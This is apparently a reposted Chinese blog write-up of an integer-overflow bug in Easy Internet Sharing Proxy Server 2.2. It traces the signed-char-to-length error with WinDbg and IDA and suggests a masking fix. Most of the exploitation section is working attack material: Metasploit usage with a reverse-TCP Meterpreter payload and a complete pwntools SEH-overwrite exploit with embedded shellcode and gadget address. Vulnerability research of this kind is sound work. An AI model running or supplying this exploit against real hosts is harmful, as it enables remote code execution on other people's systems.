EPS2.2 整数溢出漏洞分析到利用pwntools进行漏洞利用
来源:互联网 发布:清除僵尸粉软件 编辑:程序博客网 时间:2024/05/18 03:55
简介
软件全称:Easy Internet Sharing Proxy Server 2.2
因为有整数溢出,导致复制长度过长,覆盖SEH,导致任意代码执行
分析来源:https://www.exploit-db.com/exploits/40760/
因为k0shl在i春秋讲这个,我也实践一下
实验环境
Windows 7 Sp1 32位
metasploit
EPS 2.2
windbg
IDA
mona
漏洞分析
首先我们的exp来源于exploitdb,我的话要改一下开头的类名称为Metasploit3才能用
我们直接上metasploit,由于我们用的是win7,所以我们target就默认让它是win10,故意让它崩掉
还有你会发现默认使用的payload是windows/meterpreter/reverse_tcp
msf > use exploit/windows/proxy/eps msf exploit(eps) > set RHOST "192.168.253.157"RHOST => 192.168.253.157............msf exploit(eps) > show options Module options (exploit/windows/proxy/eps): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.253.157 yes The target address RPORT 1080 yes The target portExploit target: Id Name -- ---- 0 Windows 10 32bitmsf exploit(eps) > exploit [*] Started reverse handler on 192.168.253.164:4444 [+] Building Windows 10 Rop Chain[+] Building Exploit...[+] Sending exploit...[+] Exploit Sent...
看看崩溃信息,ecx的值非常大,edi所指向的地址是没有任何权限的,所以导致了异常
0:033> g(138.a74): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=ffffff90 ebx=00000000 ecx=3fffeec4 edx=00344060 esi=0438e002 edi=04390000eip=0043973d esp=04387c1c ebp=ffffff90 iopl=0 ov up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010a06*** WARNING: Unable to verify checksum for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exe*** ERROR: Module load completed but symbols could not be loaded for C:\EFS Software\Easy Internet Sharing Proxy Server\easyproxy.exeeasyproxy+0x3973d:0043973d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]0:017> kvChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong.04387c18 00000000 00000000 0438ff94 00000244 easyproxy+0x3973d0:017> !address ediFailed to map Heaps (error 80004005)Usage: StackAllocation Base: 04390000Base Address: 04390000End Address: 04486000Region Size: 000f6000Type: 00020000 MEM_PRIVATEState: 00002000 MEM_RESERVEProtect: 00000000 More info: ~18k
我们在ida定位一下崩溃的伪代码
v39 = v236;v40 = v236;v41 = (unsigned int)v236 >> 2;qmemcpy(&v240, v237, 4 * v41);
也看看汇编吧
.text:00439720 movsx ebp, [esp+8370h+var_640B].text:00439728 mov ecx, ebp.text:0043972A lea esi, [esp+8370h+var_640A].text:00439731 mov eax, ecx.text:00439733 lea edi, [esp+8370h+var_440C].text:0043973A shr ecx, 2.text:0043973D rep movsd
ecx来源于[esp+8370h+var_640B],那我们在00439720下断点
我们下面可以看到这里有个带符号扩展的mov指令,movsx,这是将90扩展成dword
由于0x90的最高位是1啊,那扩展后的前3个字节的二进制位都是1,即结果是0xFFFFFF90,不信看下面
>>> bin(0x90)'0b10010000'
0:033> gBreakpoint 0 hiteax=00000490 ebx=00000000 ecx=00000000 edx=00214060 esi=0021448a edi=04349f8eeip=00439720 esp=04347c1c ebp=0000040e iopl=0 nv up ei ng nz ac po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292easyproxy+0x39720:00439720 0fbeac24651f0000 movsx ebp,byte ptr [esp+1F65h] ss:0023:04349b81=900:017> peax=00000490 ebx=00000000 ecx=00000000 edx=00214060 esi=0021448a edi=04349f8eeip=00439728 esp=04347c1c ebp=ffffff90 iopl=0 nv up ei ng nz ac po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000292easyproxy+0x39728:00439728 8bcd mov ecx,ebp
我们看到复制大小3fffffe4 ,而目的地址申请的大小为
0x04350000 - 0x04347000= 0x9000
这样就会复制到不可写的内存(超越了栈顶)
0:017> peax=ffffff90 ebx=00000000 ecx=3fffffe4 edx=00214060 esi=04349b82 edi=0434bb80eip=0043973d esp=04347c1c ebp=ffffff90 iopl=0 ov up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a06easyproxy+0x3973d:0043973d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]0:017> !address ediFailed to map Heaps (error 80004005)Usage: StackAllocation Base: 04250000Base Address: 04347000End Address: 04350000Region Size: 00009000Type: 00020000 MEM_PRIVATEState: 00001000 MEM_COMMITProtect: 00000004 PAGE_READWRITE
movsx的C语言怎么表达
那么对于的C语言或者说是C++代码是怎样的呢
17: char a = 0x90;00401028 C6 45 F4 90 mov byte ptr [ebp-0Ch],90h18:19: int b = (int) a;0040102C 0F BE 45 F4 movsx eax,byte ptr [ebp-0Ch]
可以看到是将字符型转化为整型可以这样
漏洞利用
我们抓包看看metasploit发送了什么
00000000 90 90 03 fb 43 00 03 fb 43 00 03 fb 43 00 03 fb ....C... C...C...00000010 43 00 03 fb 43 00 de f1 47 00 10 92 48 00 ec a4 C...C... G...H...00000020 45 00 6e 27 45 00 41 41 41 41 30 8d 43 00 41 41 E.n'E.AA AA0.C.AA00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 eb 68 AAAAAAAA AAAAAA.h00000040 47 00 b0 76 46 00 41 41 41 41 71 77 41 00 38 bf G..vF.AA AAqwA.8.00000050 46 00 01 00 00 00 77 14 48 00 00 10 00 00 ec a4 F.....w. H.......00000060 45 00 6e 27 45 00 01 00 00 00 98 80 48 00 41 41 E.n'E... ....H.AA00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 40 00 AAAAAAAA AAAAAA@.00000080 00 00 38 ca 44 00 03 fb 43 00 59 45 45 00 90 90 ..8.D... C.YEE...00000090 90 90 0f d3 47 00 4e 9b 4e 92 fc 42 f5 fc 42 fd ....G.N. N..B..B.............
我们再看看metasploit,win10利用代码发送的数据啊
那我们完全有理由相信,触发漏洞的90出自于开头的90的其中一个
sploit = "\x90" *2sploit << rop_gadgetssploit << payload.encodedsploit << make_nops(target['Nops'])sploit << rand_text_alpha(target['Offset'] - payload.encoded.length)sploit << generate_seh_record(target.ret)print_good('Sending exploit...')sock.put(sploit)
我们上pwntools,自己搞一下(payload是mona生成的定位字符)
from pwn import *p = remote("192.168.253.157", 1080)payload = "Aa0Aa1Aa2A....."p.sendline(payload)p.interactive()
发送,我们看到这时movsx ebp,byte ptr [esp+1F65h]
中[esp+1F65h]的值是61(即’a’),这样看不出是哪个位置的小a的值
那我们将payload改一下
payload = "ABCDEFGH...."
那从下面我们看到只要发送的第二个字符的二进制位的最高位为1即可触发漏洞
0:033> gBreakpoint 0 hiteax=00000341 ebx=00000000 ecx=00000000 edx=00794090 esi=0079449d edi=04459f71eip=00439720 esp=04457c1c ebp=000003f1 iopl=0 nv up ei pl nz ac po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212easyproxy+0x39720:00439720 0fbeac24651f0000 movsx ebp,byte ptr [esp+1F65h] ss:0023:04459b81=42
比如我们payload是:
payload = "A\xffCD
那么就会下面这样
0:033> gBreakpoint 0 hiteax=00000341 ebx=00000000 ecx=00000000 edx=00324060 esi=0032446d edi=04379f71eip=00439720 esp=04377c1c ebp=000003f1 iopl=0 nv up ei pl nz ac po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212easyproxy+0x39720:00439720 0fbeac24651f0000 movsx ebp,byte ptr [esp+1F65h] ss:0023:04379b81=ff0:017> peax=00000341 ebx=00000000 ecx=00000000 edx=00324060 esi=0032446d edi=04379f71eip=00439728 esp=04377c1c ebp=ffffffff iopl=0 nv up ei pl nz ac po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212easyproxy+0x39728:00439728 8bcd mov ecx,ebp
不包括前两个字符,我们定位到SEH位置为1032,NEXT SEH就是1028咯
我们看看当我们执行到我们覆盖的SEH的指令时的栈情况
我们可以注意到03e7ff80就是NEXT SEH的位置
0:017> dd esp03e77834 76f165f9 03e7791c 03e7ff80 03e7793803e77844 03e778f0 03e7ff80 76f1660d 03e7ff8003e77854 03e77904 76f165cb 03e7791c 03e7ff8003e77864 03e77938 03e778f0 00404bbc 0000000003e77874 03e7791c 03e7ff80 76ef8d3d 03e7791c03e77884 03e7ff80 03e77938 03e778f0 00404bbc03e77894 03e80000 03e7791c 03e7e002 0000000003e778a4 00000000 00000000 00000000 00000000
Windows7一般默认只是Windows软件和服务才开了DEP,所以我们不用绕过DEP,exploitdb的作者在Windows7是使用了绕过dep的方法,seh覆盖成了0043ad38这个地址
0043ad38 81c460830000 add esp,8360h0043ad3e c20400 ret 4
但这里没开DEP,这里直接覆盖SEH为pop pop ret,
由于后面的栈地址不够了,所以我们的Shellcode要放在前面
最终exp:
from pwn import *p = remote("192.168.253.157", 1080)shellcode = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x5f\xff\xff\xff\x68\x6e\x63\x68\x58\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6e\x31\xdb\x88\x5c\x24\x0b\x89\xe3\x68\x6e\x63\x68\x58\x68\x74\x62\x72\x61\x68\x67\x69\x61\x6e\x31\xc9\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"pop_pop_ret = 0x00404BBCpayload = "\xff\xff" + '\x90' *(1028-len(shellcode)-5) + shellcode + "\xe9\xf0\xfe\xff\xff" + "\xeb\xf9\x90\x90" + p32(pop_pop_ret) # print len(shellcode)p.sendline(payload)p.interactive()
执行效果:
漏洞修复
应该要将char转化为int时,跟0xff与一下,这是个人看法,不知道大牛们是怎么修复的呢
int b = (int) a & 0xff;
当然也可以先装化为byte,再赋值给int
17: char a = 0x90;00401028 C6 45 FC 90 mov byte ptr [ebp-4],90h18:19: byte c = (byte) a;0040102C 8A 45 FC mov al,byte ptr [ebp-4]0040102F 88 45 F4 mov byte ptr [ebp-0Ch],al20:21: int b = (int) c;00401032 8B 4D F4 mov ecx,dword ptr [ebp-0Ch]00401035 81 E1 FF 00 00 00 and ecx,0FFh0040103B 89 4D F8 mov dword ptr [ebp-8],ecx
漏洞总结
由于eps软件应该是使用了将char强制转化为int,而且将这个int参数传入qmemcpy的第3个参数,而qmemcpy会把它当做无符号数对待,导致最后复制长度过程,超越的栈顶,使攻击者可以覆盖SEH,导致任意代码执行漏洞
- EPS2.2 整数溢出漏洞分析到利用pwntools进行漏洞利用
- 利用缓冲区溢出进行漏洞攻击
- MS0539溢出漏洞利用杂记
- 栈溢出漏洞利用小结
- 【分析】SYMANTEC防火墙内核堆栈溢出漏洞利用方法总结
- 【分析】如何利用格式化溢出漏洞,x86/sparc
- 如何分析与利用WORD溢出漏洞(科普)
- PCMan FTP Server缓冲区溢出漏洞分析与利用
- 安全漏洞--整数溢出漏洞(IOV)分析
- word漏洞分析与利用
- SSRF漏洞分析与利用
- Linux下溢出漏洞利用学习
- 利用MS08067远程溢出漏洞抓肉鸡
- 有关栈溢出漏洞的利用
- Linux堆溢出漏洞利用之unlink
- RM2MP3溢出漏洞报告【利用篇】
- 整数溢出漏洞攻击
- 整数溢出漏洞
- 模拟手机通讯录——双向循环链表的实现与应用
- 现操week6 :File Management & SQLite Database
- 用例图
- 3.30学习内容
- asdasdasd
- EPS2.2 整数溢出漏洞分析到利用pwntools进行漏洞利用
- 算法提高 拿糖果
- 直播推流实现RTMP协议的一些注意事项
- 【Spring学习13】表达式语言(Spring EL)
- 常用linux中SVN相关命令
- spring mvc DispatcherServlet 接收请求到响应数据的过程
- MFC中数据交换问题
- 数据库之Mysql入门
- 从今天开始写博客